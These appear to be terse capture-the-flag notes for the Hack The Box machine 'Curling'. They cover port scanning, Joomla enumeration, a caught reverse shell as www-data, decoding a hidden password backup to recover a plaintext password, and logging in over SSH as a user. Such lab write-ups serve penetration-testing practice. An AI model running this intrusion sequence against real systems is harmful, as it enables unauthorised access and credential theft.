sudo nmap -p- -v -sS -A -T4 10.10.10.150

PORT   STATE SERVICE VERSION                                                                                                                                                                                       
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home

joomscan --url http://10.10.10.150

[+] Detecting Joomla Version
[++] Joomla 3.8.8                                   

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder                                    
[++] Admin page : http://10.10.10.150/administrator/

SOCKET: Shell has connected! PID: 3753
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
whoami
whoami
www-data
www-data@curling:/var/www/html$

┌──(kali㉿kali)-[~/htb/curling]
└─$ cat password_backup | xxd -r | file -                                                            4 ⚙
/dev/stdin: bzip2 compressed data, block size = 900k

┌──(kali㉿kali)-[~/htb/curling]
└─$ cat password_backup | xxd -r | bzip2 -d | gzip -d |bzip2 -d |tar -xvf -
password.txt
                                                                                                         
┌──(kali㉿kali)-[~/htb/curling]
└─$ ls
JoomlaMassExploiter  joomla.png  linpeas.sh  password.txt     reverse-shell-win.php
admin.req            joomlavs    out.jpg     password_backup
                                                                                                         
┌──(kali㉿kali)-[~/htb/curling]
└─$ cat password.txt 
5d<wdCbdZu)|hChXll

ssh floris@10.10.10.150

watch -n 1 cat report